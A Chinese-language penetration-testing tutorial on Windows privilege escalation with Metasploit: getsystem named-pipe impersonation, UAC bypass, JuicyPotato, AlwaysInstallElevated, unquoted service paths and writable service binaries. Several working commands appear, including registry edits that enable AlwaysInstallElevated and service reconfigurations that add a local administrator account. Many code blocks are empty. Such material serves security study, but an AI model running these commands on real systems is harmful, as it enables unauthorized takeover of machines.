渗透测试框架提权
msf
metepreter 提权
在有一个Session的条件之下,直接使用getsystem自动提权
发现成功提权
返回之前的权限
获取hash值是可以使用管理员权限,但是如果想要获取明文密码就需要获取system权限了
如果是高版本的windwos 就会发现提权不了
尝试了解getsystem的原理是什么
如果发现操作失败,可以通过获取当前session 能使用什么方式进行提权(local_exploit_suggester,bypassuac)
getsystem命名管道原理
命名管道介绍
命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。
命名管道的命名规范遵循“通用命名规范(UNC)” :
1 |
|
- 其中 \server 指定一个服务器的名字,如果是本机则用\.表示,\192.168.1.100表示网络 上的服务器。
- \pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
- [\path]\name 则唯一标识一个命名管道的名称。
模拟命名管道工作
pipe_client.cpp
1 |
|
pipe_server.cpp
1 |
|
模拟成功
查看所有的现存的命名管道
1 |
|
模拟令牌
模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中的 getsystem 也就是这个原理
具体步骤
- 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
- 创建一个进程,并让进程创建命名管道。
- 让之前的以system权限启动的程序启动并连接这个命名管道。
- 利用ImpersonateNamedPipeClient()函数生成system权限的token。
- 利用system权限的token启动cmd.exe。
提权操作
使用administrator 开启一个命名管道
https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1
1
powershell -ep bypass -f pipeserverimpersonate.ps1
win7查看命名管道
1
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
win7及以上
1
2
3
4# 返回对象列表
get-childitem \\.\pipe\
# 只显示名称
(get-childitem \\.\pipe\).FullName记得更改命名管道的名字,不然不太好找
再开启
发现他有提示的
发现已经开启了
创建服务
因为我们需要获取 高权限的 token,通过服务方式启动的客户端时system 权限,所以我们就可以通过服务开启的客户端获取 token
1
2sc create august-pipe binpath= "cmd /c echo test > \\.\pipe\august"
sc qc august-pipe\ #查询该服务的配置信息启动服务
然后成功反弹一个system 的cmd
尝试修改为payload 让其直接运行
修改pipeserverimpersonate.ps1
修改为paylload
然后重复上面的工作
开启pipeserverimpersonate,ps1
由于已经注册了服务,现在就直接运行服务就行了
反弹了一个system 的cmd
BypassUAC
UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改 getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权
1 |
|
尝试获取win10 的system
对于win10 还是没有办法
如果执行成功了,那么就会直接返回两个system 的会话
尝试其他的方式
bypassuac_injection
bypassuac_eventvwr
bypassuac_comhijack
也是不能成功的
Local_exploit_suggester
local_exploit_suggester是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它 执行本地漏洞利用检查;但不运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。 不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。
优点:省去手动查找本地漏洞的麻烦,节省时间
缺点:不是所有列出的local exploit都可用
还是对win10 机型进行收集
1 |
|
这个是他收集的结果win10 真的不太好利用了
Windows内核漏洞提权
windows-kernel-exploits
1 |
|
metasploit中查找提权模块
1 |
|
JuicyPotato
1 |
|
也就是指定我们的payload 然后让它执行,就可以获取对应的权限
或者直接使用msf 的模块
只是需要注意使用这个模块的话,需要有对应的权限
Windows系统服务漏洞
AlwaysInstallElevated
手动
简介
任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该 参数允许非特权用户以system权 限运行MSI文件。
如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
判断是否启用此策略
1
2reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated收到 “错误:系统无法找到指定的注册表项或值” 的错误,则表示此注册表值从未创建。 说明策略没有启用。
收到 “AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。
启用 Always Install Elevated
1
2
3
4
5reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)
HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)Always Install Elevated提权利用
安装打包器
Free Download - MSI Wrapper Convert EXE to MSI free (exemsi.com)
生成payload
将payload打包成msi
然后再受害者上安装,这个时候就是system权限
自动
就直接使用对应的模块就行了
always_install_elevated模块
1 |
|
可信任服务路径
存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限 运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解 析。如果我们能利用这一特性,就有机会进行权限升。
简单的说就是,使用有一个可以写入的权限,然后我们将我们的payload 放置于里面然后服务就会按照他的路径进行寻找,就会执行我们的payload ,由于是服务启动,所以达到了提权的效果,本质的原理就是windows 会忽视exe文件后缀,可以直接执行
利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引 用的全路径名,则可利用此漏洞。
手动
检测目标是否存在漏洞
1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
存在且发现路径
查看路径是否存在可写入的权限
1
2
3
4
5icacls "C:\Program Files (x86)\"
F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。因为我这个后面就是空格,所以使用这个方式
生成一个payload
注意名字一定要与第二个文件夹名空格的前部分一致
将这个payload 放入对应的路径
我这里时c:\program files (x86)
然后重启服务就好了
1
2
3
4sc qc "Windows Folder Service"
sc stop "Windows Folder Service”
sc start "Windows Folder Service"
没有权限重启服务,等待服务器重启时执行exe可能会遇到反弹回来的shell 容易断掉的问题
这是因为当一个 服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
尝试使用其他类型的payload
msf 自动
使用nquoted_service_path
1 |
|
不安全的服务权限
手动
Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。 JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。
而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用 户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文 件,从而随着系统启动服务而获得系统权限。
直接修改服务的“ImagePath”注册表值,而不是修改服务属性。
利用accesschk工具检查易受到攻击的服务
1
2accesschk64.exe -ucqv "Authenticated Users" * /accepteula
services_all_access查看可完全控制的服务的属性
1
sc qc Acunetix
修改服务配置执行命令
1
2
3
4
5sc config Acunetix binpath= "net user updateuser password /add"
sc stop Acunetix
sc start Acunetix
sc config Acunetix binpath= "net localgroup Administrators updateuser /add"
sc start Acunetix
msf 自动
1 |
|